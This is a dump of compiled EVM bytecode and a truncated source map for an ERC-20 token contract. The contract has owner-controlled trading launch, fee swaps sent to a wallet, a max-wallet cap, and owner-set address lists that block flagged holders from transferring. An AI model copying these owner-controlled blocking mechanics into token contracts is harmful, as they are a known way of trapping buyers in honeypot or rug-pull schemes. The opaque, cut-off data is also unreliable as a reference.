05180910390fd5b5f5b815181101561053d57600160045f8484815181106105045761050461186c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104e4565b5050565b5f61054d848484610c68565b61059e8433610599856040518060600160405280602881526020016119b4602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111a0565b610b45565b5060019392505050565b5f546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d990611837565b5f5b815181101561053d575f60045f8484815181106105f2576105f261186c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016105d3565b305f908152600260209081526040808320338085529252822054610650918491610b45565b506001919050565b5f546001600160a01b031633146106815760405162461bcd60e51b81526004016104d990611837565b61068d6009600a611812565b61069b90633b9aca00611820565b601055565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561053d573d5f803e3d5ffd5b5f546001600160a01b031633146107005760405162461bcd60e51b81526004016104d990611837565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600f80546103f9906116ec565b5f610486338484610c68565b5f546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104d990611837565b601454600160a01b900460ff16156107e65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905561081830335f19610b45565b61085030610378606461084a605f610844336001600160a01b03165f9081526001602052604090205490565b906111d8565b9061125d565b5060135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c59190611880565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610924573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109489190611880565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610992573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b69190611880565b601480546001600160a01b0319166001600160a01b039283161790556013546109e3913091165f19610b45565b6013546001600160a01b031663f305d7194730610a14816001600160a01b03165f9081526001602052604090205490565b5f80610a275f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a8d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ab2919061189b565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2b91906118c6565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ba75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d9565b6001600160a01b038216610c085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d9565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d9565b5f8111610d8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b5f80546001600160a01b03858116911614801590610dba57505f546001600160a01b03848116911614155b15611063576001600160a01b0384165f9081526004602052604090205460ff16158015610dff57506001600160a01b0383165f9081526004602052604090205460ff16155b610e07575f80fd5b610e2d606461084a600a54600d5411610e2257600654610e26565b6008545b85906111d8565b6014549091506001600160a01b038581169116148015610e5b57506013546001600160a01b03848116911614155b8015610e7f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f135760105482610ea6856001600160a01b03165f9081526001602052604090205490565b610eb091906118e5565b1115610efe5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d9565b600d8054905f610f0d836118f8565b91905055505b6014546001600160a01b038481169116148015610f3957506001600160a01b0384163014155b15610f6657610f63606461084a600b54600d5411610f5957600754610e26565b60095485906111d8565b90505b6014546001600160a01b038481169116148015610f8b57506001600160a01b03841630145b15610fc557610fc2606461084a6103ee61084a610138610844600a54600d5411610fb757600654610fbb565b6008545b89906111d8565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610ffb57506014546001600160a01b038581169116145b80156110105750601454600160b01b900460ff165b801561101d575060115481115b801561102d5750600c54600d5410155b156110615761104f61104a846110458460125461129e565b61129e565b6112b2565b47801561105f5761105f476106a0565b505b505b80156110db57305f908152600160205260409020546110829082611409565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d29085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110fd9083611467565b6001600160a01b0385165f908152600160205260409020556111406111228383611467565b6001600160a01b0385165f9081526001602052604090205490611409565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111898585611467565b60405190815260200160405180910390a350505050565b5f81848411156111c35760405162461bcd60e51b81526004016104d991906114d4565b505f6111cf8486611910565b95945050505050565b5f825f036111e757505f61048a565b5f6111f28385611820565b9050826111ff8583611923565b146112565760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d9565b9392505050565b5f61125683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a8565b5f8183116112ac5782611256565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f8576112f861186c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561134f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113739190611880565b816001815181106113865761138661186c565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac947906113cb9085905f90869030904290600401611942565b5f604051808303815f87803b1580156113e2575f80fd5b505af11580156113f4573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f8061141583856118e5565b9050838110156112565760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d9565b5f61125683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a0565b5f81836114c85760405162461bcd60e51b81526004016104d991906114d4565b505f6111cf8486611923565b5f602080835283518060208501525f5b81811015611500578581018301518582016040015282016114e4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611534575f80fd5b50565b803561154281611520565b919050565b5f8060408385031215611558575f80fd5b823561156381611520565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611596575f80fd5b823567ffffffffffffffff808211156115ad575f80fd5b818501915085601f8301126115c0575f80fd5b8135818111156115d2576115d2611571565b8060051b604051601f19603f830116810181811085821117156115f7576115f7611571565b604052918252848201925083810185019188831115611614575f80fd5b938501935b828510156116395761162a85611537565b84529385019392850192611619565b98975050505050505050565b5f805f60608486031215611657575f80fd5b833561166281611520565b9250602084013561167281611520565b929592945050506040919091013590565b5f60208284031215611693575f80fd5b813561125681611520565b5f602082840312156116ae575f80fd5b5035919050565b5f80604083850312156116c6575f80fd5b82356116d181611520565b915060208301356116e181611520565b809150509250929050565b600181811c9082168061170057607f821691505b6020821081036112ac57634e487b7160e01b5f52602260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176c57815f19048211156117525761175261171e565b8085161561175f57918102915b93841c9390800290611737565b509250929050565b5f826117825750600161048a565b8161178e57505f61048a565b81600181146117a457600281146117ae576117ca565b600191505061048a565b60ff8411156117bf576117bf61171e565b50506001821b61048a565b5060208310610133831016604e8410600b84101617156117ed575081810a61048a565b6117f78383611732565b805f190482111561180a5761180a61171e565b029392505050565b5f61125660ff841683611774565b808202811582820484141761048a5761048a61171e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611890575f80fd5b815161125681611520565b5f805f606084860312156118ad575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118d6575f80fd5b81518015158114611256575f80fd5b8082018082111561048a5761048a61171e565b5f600182016119095761190961171e565b5060010190565b8181038181111561048a5761048a61171e565b5f8261193d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119925784516001600160a01b03168352938301939183019160010161196d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d66f28055cae123dd4acb2ac270a25d55b86769fc8c77c67377877c1e662163164736f6c63430008170033
Deployed Bytecode Sourcemap
3553:7729:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5326:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5763:138;;;;;;;;;;-1:-1:-1;5763:138:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;5763:138:0;1162:187:1;4534:56:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4534:56:0;1354:177:1;5561:81:0;;;;;;;;;;;;;:::i;9980:163::-;;;;;;;;;;-1:-1:-1;9980:163:0;;;;;:::i;:::-;;:::i;:::-;;6356:317;;;;;;;;;;-1:-1:-1;6356:317:0;;;;;:::i;:::-;;:::i;5484:69::-;;;;;;;;;;-1:-1:-1;5484:69:0;;4264:1;3397:36:1;;3385:2;3370:18;5484:69:0;3255:184:1;10151:162:0;;;;;;;;;;-1:-1:-1;10151:162:0;;;;;:::i;:::-;;:::i;10321:84::-;;;;;;;;;;-1:-1:-1;10321:84:0;;;;;:::i;:::-;-1:-1:-1;;;;;10390:7:0;10368:4;10390:7;;;:4;:7;;;;;;;;;10321:84;5909:150;;;;;;;;;;-1:-1:-1;5909:150:0;;;;;:::i;:::-;;:::i;9784:83::-;;;;;;;;;;;;;:::i;9875:97::-;;;;;;;;;;-1:-1:-1;9875:97:0;;;;;:::i;:::-;;:::i;5650:105::-;;;;;;;;;;-1:-1:-1;5650:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;5734:18:0;5716:7;5734:18;;;:9;:18;;;;;;;5650:105;2634:148;;;;;;;;;;;;;:::i;2420:79::-;;;;;;;;;;-1:-1:-1;2458:7:0;2485:6;2420:79;;-1:-1:-1;;;;;2485:6:0;;;4027:51:1;;4015:2;4000:18;2420:79:0;3881:203:1;4399:59:0;;;;;;;;;;;;;;;;5403:73;;;;;;;;;;;;;:::i;6204:144::-;;;;;;;;;;-1:-1:-1;6204:144:0;;;;;:::i;:::-;;:::i;4465:62::-;;;;;;;;;;;;;;;;10413:827;;;;;;;;;;;;;:::i;6067:129::-;;;;;;;;;;-1:-1:-1;6067:129:0;;;;;:::i;:::-;-1:-1:-1;;;;;6166:18:0;;;6148:7;6166:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6067:129;5326:69;5363:13;5387:5;5380:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5326:69;:::o;5763:138::-;5838:4;5846:39;254:10;5869:7;5878:6;5846:8;:39::i;:::-;-1:-1:-1;5894:4:0;5763:138;;;;;:::o;5561:81::-;5614:7;4323:13;4264:1;4323:2;:13;:::i;:::-;4307:29;;:13;:29;:::i;:::-;5625:14;;5561:81;:::o;9980:163::-;2547:6;;-1:-1:-1;;;;;2547:6:0;254:10;2547:22;2539:67;;;;-1:-1:-1;;;2539:67:0;;;;;;;:::i;:::-;;;;;;;;;10053:6:::1;10048:88;10069:5;:12;10065:1;:16;10048:88;;;10120:4;10103;:14;10108:5;10114:1;10108:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10103:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10103:14:0;:21;;-1:-1:-1;;10103:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10083:3:0::1;10048:88;;;;9980:163:::0;:::o;6356:317::-;6454:4;6472:36;6482:6;6490:9;6501:6;6472:9;:36::i;:::-;6520:121;6529:6;254:10;6551:89;6589:6;6551:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6551:19:0;;;;;;:11;:19;;;;;;;;254:10;6551:33;;;;;;;;;;:37;:89::i;:::-;6520:8;:121::i;:::-;-1:-1:-1;6660:4:0;6356:317;;;;;:::o;10151:162::-;2547:6;;-1:-1:-1;;;;;2547:6:0;254:10;2547:22;2539:67;;;;-1:-1:-1;;;2539:67:0;;;;;;;:::i;:::-;10224:6:::1;10219:87;10240:6;:13;10236:1;:17;10219:87;;;10291:5;10273:4;:15;10278:6;10285:1;10278:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10273:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10273:15:0;:23;;-1:-1:-1;;10273:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10255:3:0::1;10219:87;;5909:150:::0;6022:4;5962;6002:26;;;:11;:26;;;;;;;;254:10;6002:40;;;;;;;;5970:73;;5979:7;;5970:8;:73::i;:::-;-1:-1:-1;6052:4:0;;5909:150;-1:-1:-1;5909:150:0:o;9784:83::-;2547:6;;-1:-1:-1;;;;;2547:6:0;254:10;2547:22;2539:67;;;;-1:-1:-1;;;2539:67:0;;;;;;;:::i;:::-;4323:13:::1;4264:1;4323:2;:13;:::i;:::-;4307:29;::::0;:13:::1;:29;:::i;:::-;9837:14;:22:::0;9784:83::o;9875:97::-;9937:10;;:27;;-1:-1:-1;;;;;9937:10:0;;;;:27;;;;;9957:6;;9937:10;:27;:10;:27;9957:6;9937:10;:27;;;;;;;;;;;;;;;;;;;2634:148;2547:6;;-1:-1:-1;;;;;2547:6:0;254:10;2547:22;2539:67;;;;-1:-1:-1;;;2539:67:0;;;;;;;:::i;:::-;2741:1:::1;2725:6:::0;;2704:40:::1;::::0;-1:-1:-1;;;;;2725:6:0;;::::1;::::0;2704:40:::1;::::0;2741:1;;2704:40:::1;2772:1;2755:19:::0;;-1:-1:-1;;;;;;2755:19:0::1;::::0;;2634:148::o;5403:73::-;5442:13;5466:7;5459:14;;;;;:::i;6204:144::-;6282:4;6290:42;254:10;6314:9;6325:6;6290:9;:42::i;10413:827::-;2547:6;;-1:-1:-1;;;;;2547:6:0;254:10;2547:22;2539:67;;;;-1:-1:-1;;;2539:67:0;;;;;;;:::i;:::-;10475:11:::1;::::0;-1:-1:-1;;;10475:11:0;::::1;;;10474:12;10466:48;;;::::0;-1:-1:-1;;;10466:48:0;;7244:2:1;10466:48:0::1;::::0;::::1;7226:21:1::0;7283:2;7263:18;;;7256:30;7322:25;7302:18;;;7295:53;7365:18;;10466:48:0::1;7042:347:1::0;10466:48:0::1;10526:15;:80:::0;;-1:-1:-1;;;;;;10526:80:0::1;10563:42;10526:80;::::0;;10618:54:::1;10635:4;10642:10;-1:-1:-1::0;;10618:8:0::1;:54::i;:::-;10683:63;10700:4;10707:38;10741:3;10707:29;10733:2;10707:21;10717:10;-1:-1:-1::0;;;;;5734:18:0;5716:7;5734:18;;;:9;:18;;;;;;;5650:105;10707:21:::1;:25:::0;::::1;:29::i;:::-;:33:::0;::::1;:38::i;10683:63::-;;10792:15;;;;;;;;;-1:-1:-1::0;;;;;10792:15:0::1;-1:-1:-1::0;;;;;10792:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10774:55:0::1;;10838:4;10845:15;;;;;;;;;-1:-1:-1::0;;;;;10845:15:0::1;-1:-1:-1::0;;;;;10845:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10774:94;::::0;-1:-1:-1;;;;;;10774:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7880:15:1;;;10774:94:0::1;::::0;::::1;7862:34:1::0;7932:15;;7912:18;;;7905:43;7797:18;;10774:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10758:13;:110:::0;;-1:-1:-1;;;;;;10758:110:0::1;-1:-1:-1::0;;;;;10758:110:0;;::::1;;::::0;;10912:15:::1;::::0;10880:68:::1;::::0;10897:4:::1;::::0;10912:15:::1;-1:-1:-1::0;;10880:8:0::1;:68::i;:::-;10959:15;::::0;-1:-1:-1;;;;;10959:15:0::1;:31;10998:21;11029:4;11035:24;11029:4:::0;-1:-1:-1;;;;;5734:18:0;5716:7;5734:18;;;:9;:18;;;;;;;5650:105;11035:24:::1;11060:1;11062::::0;11064:7:::1;2458::::0;2485:6;-1:-1:-1;;;;;2485:6:0;;2420:79;11064:7:::1;10959:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10959:129:0;;;-1:-1:-1;;;;;8318:15:1;;;10959:129:0::1;::::0;::::1;8300:34:1::0;8350:18;;;8343:34;;;;8393:18;;;8386:34;;;;8436:18;;;8429:34;8500:15;;;8479:19;;;8472:44;11072:15:0::1;8532:19:1::0;;;8525:35;8234:19;;10959:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11107:13:0::1;::::0;11138:15:::1;::::0;11100:71:::1;::::0;-1:-1:-1;;;11100:71:0;;-1:-1:-1;;;;;11138:15:0;;::::1;11100:71;::::0;::::1;9056:51:1::0;-1:-1:-1;;9123:18:1;;;9116:34;11107:13:0;::::1;::::0;-1:-1:-1;11100:29:0::1;::::0;9029:18:1;;11100:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11183:11:0::1;:18:::0;;-1:-1:-1;;;;11213:18:0;-1:-1:-1;;;11213:18:0;;;10413:827::o;6681:335::-;-1:-1:-1;;;;;6774:19:0;;6766:68;;;;-1:-1:-1;;;6766:68:0;;9645:2:1;6766:68:0;;;9627:21:1;9684:2;9664:18;;;9657:30;9723:34;9703:18;;;9696:62;-1:-1:-1;;;9774:18:1;;;9767:34;9818:19;;6766:68:0;9443:400:1;6766:68:0;-1:-1:-1;;;;;6853:21:0;;6845:68;;;;-1:-1:-1;;;6845:68:0;;10050:2:1;6845:68:0;;;10032:21:1;10089:2;10069:18;;;10062:30;10128:34;10108:18;;;10101:62;-1:-1:-1;;;10179:18:1;;;10172:32;10221:19;;6845:68:0;9848:398:1;6845:68:0;-1:-1:-1;;;;;6924:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6976:32;;1500:25:1;;;6976:32:0;;1473:18:1;6976:32:0;;;;;;;6681:335;;;:::o;7024:2226::-;-1:-1:-1;;;;;7112:18:0;;7104:68;;;;-1:-1:-1;;;7104:68:0;;10453:2:1;7104:68:0;;;10435:21:1;10492:2;10472:18;;;10465:30;10531:34;10511:18;;;10504:62;-1:-1:-1;;;10582:18:1;;;10575:35;10627:19;;7104:68:0;10251:401:1;7104:68:0;-1:-1:-1;;;;;7191:16:0;;7183:64;;;;-1:-1:-1;;;7183:64:0;;10859:2:1;7183:64:0;;;10841:21:1;10898:2;10878:18;;;10871:30;10937:34;10917:18;;;10910:62;-1:-1:-1;;;10988:18:1;;;10981:33;11031:19;;7183:64:0;10657:399:1;7183:64:0;7275:1;7266:6;:10;7258:64;;;;-1:-1:-1;;;7258:64:0;;11263:2:1;7258:64:0;;;11245:21:1;11302:2;11282:18;;;11275:30;11341:34;11321:18;;;11314:62;-1:-1:-1;;;11392:18:1;;;11385:39;11441:19;;7258:64:0;11061:405:1;7258:64:0;7333:17;2485:6;;-1:-1:-1;;;;;7367:15:0;;;2485:6;;7367:15;;;;:32;;-1:-1:-1;2458:7:0;2485:6;-1:-1:-1;;;;;7386:13:0;;;2485:6;;7386:13;;7367:32;7363:1531;;;-1:-1:-1;;;;;7425:10:0;;;;;;:4;:10;;;;;;;;7424:11;:24;;;;-1:-1:-1;;;;;;7440:8:0;;;;;;:4;:8;;;;;;;;7439:9;7424:24;7416:33;;;;;;7476:76;7548:3;7476:67;7498:15;;7488:9;;:25;7487:55;;7528:14;;7487:55;;;7515:12;;7487:55;7476:6;;:10;:67::i;:76::-;7604:13;;7464:88;;-1:-1:-1;;;;;;7596:21:0;;;7604:13;;7596:21;:55;;;;-1:-1:-1;7635:15:0;;-1:-1:-1;;;;;7621:30:0;;;7635:15;;7621:30;;7596:55;:83;;;;-1:-1:-1;;;;;;7657:22:0;;;;;;:18;:22;;;;;;;;7655:24;7596:83;7592:235;;;7734:14;;7724:6;7708:13;7718:2;-1:-1:-1;;;;;5734:18:0;5716:7;5734:18;;;:9;:18;;;;;;;5650:105;7708:13;:22;;;;:::i;:::-;:40;;7700:79;;;;-1:-1:-1;;;7700:79:0;;11803:2:1;7700:79:0;;;11785:21:1;11842:2;11822:18;;;11815:30;11881:28;11861:18;;;11854:56;11927:18;;7700:79:0;11601:350:1;7700:79:0;7800:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7592:235;7879:13;;-1:-1:-1;;;;;7873:19:0;;;7879:13;;7873:19;:43;;;;-1:-1:-1;;;;;;7896:20:0;;7911:4;7896:20;;7873:43;7870:174;;;7949:79;8024:3;7949:70;7971:16;;7961:9;;:26;7960:58;;8003:15;;7960:58;;;7989:13;;7949:6;;:10;:70::i;:79::-;7937:91;;7870:174;8096:13;;-1:-1:-1;;;;;8090:19:0;;;8096:13;;8090:19;:44;;;;-1:-1:-1;;;;;;8113:21:0;;8129:4;8113:21;8090:44;8087:191;;;8167:95;8258:3;8167:86;8248:4;8167:76;8239:3;8167:67;8189:15;;8179:9;;:25;8178:55;;8219:14;;8178:55;;;8206:12;;8178:55;8167:6;;:10;:67::i;:95::-;8155:107;;8087:191;8343:4;8294:28;5734:18;;;:9;:18;;;;;;8369:6;;-1:-1:-1;;;8369:6:0;;;;8368:7;:47;;;;-1:-1:-1;8402:13:0;;-1:-1:-1;;;;;8396:19:0;;;8402:13;;8396:19;8368:47;:80;;;;-1:-1:-1;8437:11:0;;-1:-1:-1;;;8437:11:0;;;;8368:80;:142;;;;;8493:17;;8470:20;:40;8368:142;:193;;;;;8543:18;;8532:9;;:29;;8368:193;8364:519;;;8586:67;8603:49;8607:6;8614:37;8618:20;8639:11;;8614:3;:37::i;:::-;8603:3;:49::i;:::-;8586:16;:67::i;:::-;8705:21;8752:22;;8749:119;;8803:41;8822:21;8803:18;:41::i;:::-;8563:320;8364:519;7401:1493;7363:1531;8909:11;;8906:161;;8977:4;8959:24;;;;:9;:24;;;;;;:39;;8988:9;8959:28;:39::i;:::-;8952:4;8934:24;;;;:9;:24;;;;;;;:64;;;;9016:39;;-1:-1:-1;;;;;9016:39:0;;;;;;;9045:9;1500:25:1;;1488:2;1473:18;;1354:177;9016:39:0;;;;;;;;8906:161;-1:-1:-1;;;;;9093:15:0;;;;;;:9;:15;;;;;;:27;;9113:6;9093:19;:27::i;:::-;-1:-1:-1;;;;;9077:15:0;;;;;;:9;:15;;;;;:43;9145:40;9163:21;:6;9174:9;9163:10;:21::i;:::-;-1:-1:-1;;;;;9145:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9131:13:0;;;;;;;:9;:13;;;;;:54;;;;9201:41;;;9220:21;:6;9231:9;9220:10;:21::i;:::-;9201:41;;1500:25:1;;;1488:2;1473:18;9201:41:0;;;;;;;7093:2157;7024:2226;;;:::o;1312:190::-;1398:7;1434:12;1426:6;;;;1418:29;;;;-1:-1:-1;;;1418:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1458:9:0;1470:5;1474:1;1470;:5;:::i;:::-;1458:17;1312:190;-1:-1:-1;;;;;1312:190:0:o;1510:246::-;1568:7;1592:1;1597;1592:6;1588:47;;-1:-1:-1;1622:1:0;1615:8;;1588:47;1645:9;1657:5;1661:1;1657;:5;:::i;:::-;1645:17;-1:-1:-1;1690:1:0;1681:5;1685:1;1645:17;1681:5;:::i;:::-;:10;1673:56;;;;-1:-1:-1;;;1673:56:0;;12653:2:1;1673:56:0;;;12635:21:1;12692:2;12672:18;;;12665:30;12731:34;12711:18;;;12704:62;-1:-1:-1;;;12782:18:1;;;12775:31;12823:19;;1673:56:0;12451:397:1;1673:56:0;1747:1;1510:246;-1:-1:-1;;;1510:246:0:o;1764:132::-;1822:7;1849:39;1853:1;1856;1849:39;;;;;;;;;;;;;;;;;:3;:39::i;9260:98::-;9317:7;9344:1;9342;:3;9341:9;;9349:1;9341:9;;;-1:-1:-1;9347:1:0;9260:98;-1:-1:-1;9260:98:0:o;9366:410::-;4830:6;:13;;-1:-1:-1;;;;4830:13:0;-1:-1:-1;;;4830:13:0;;;9468:16:::1;::::0;;9482:1:::1;9468:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9468:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9468:16:0::1;9444:40;;9513:4;9495;9500:1;9495:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9495:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9539:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9539:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9495:7;;9539:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9529:4;9534:1;9529:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9529:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9572:15:::1;::::0;:196:::1;::::0;-1:-1:-1;;;9572:196:0;;:15;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9653:11;;9572:15:::1;::::0;9695:4;;9722::::1;::::0;9742:15:::1;::::0;9572:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4866:6:0;:14;;-1:-1:-1;;;;4866:14:0;;;-1:-1:-1;;;;9366:410:0:o;981:179::-;1039:7;;1071:5;1075:1;1071;:5;:::i;:::-;1059:17;;1100:1;1095;:6;;1087:46;;;;-1:-1:-1;;;1087:46:0;;14040:2:1;1087:46:0;;;14022:21:1;14079:2;14059:18;;;14052:30;14118:29;14098:18;;;14091:57;14165:18;;1087:46:0;13838:351:1;1168:136:0;1226:7;1253:43;1257:1;1260;1253:43;;;;;;;;;;;;;;;;;:3;:43::i;1904:189::-;1990:7;2025:12;2018:5;2010:28;;;;-1:-1:-1;;;2010:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2049:9:0;2061:5;2065:1;2061;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:127::-;1597:10;1592:3;1588:20;1585:1;1578:31;1628:4;1625:1;1618:15;1652:4;1649:1;1642:15;1668:1121;1752:6;1783:2;1826;1814:9;1805:7;1801:23;1797:32;1794:52;;;1842:1;1839;1832:12;1794:52;1882:9;1869:23;1911:18;1952:2;1944:6;1941:14;1938:34;;;1968:1;1965;1958:12;1938:34;2006:6;1995:9;1991:22;1981:32;;2051:7;2044:4;2040:2;2036:13;2032:27;2022:55;;2073:1;2070;2063:12;2022:55;2109:2;2096:16;2131:2;2127;2124:10;2121:36;;;2137:18;